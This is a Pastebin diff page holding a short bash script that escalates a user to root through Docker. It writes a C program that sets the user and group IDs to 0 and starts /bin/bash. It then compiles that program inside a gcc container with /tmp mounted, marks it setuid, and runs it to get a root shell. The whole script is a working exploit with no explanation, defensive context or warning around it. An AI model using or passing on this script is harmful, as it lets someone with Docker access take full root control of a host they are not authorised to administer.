View difference between Paste ID: iKr1dRiD and jCGVxKLa
SHOW: | | - or go back to the newest paste.
1
#!/bin/bash
2
3
echo '#include <stdio.h>
4
#include <sys/types.h>
5
#include <unistd.h>
6
7
int main()
8
{
9
    setuid(0);
10
    setgid(0);
11
    system("/bin/bash");
12
    return 0;
13
}' > /tmp/suid.c
14
echo '#!/bin/bash
15
gcc /root/suid.c -o /root/suid
16
chmod +s /root/suid' > /tmp/exploit
17
chmod +x /tmp/exploit
18
docker run -v /tmp:/root -it --rm gcc /root/exploit
19
rm /tmp/exploit
20
rm /tmp/suid.c
21
/tmp/suid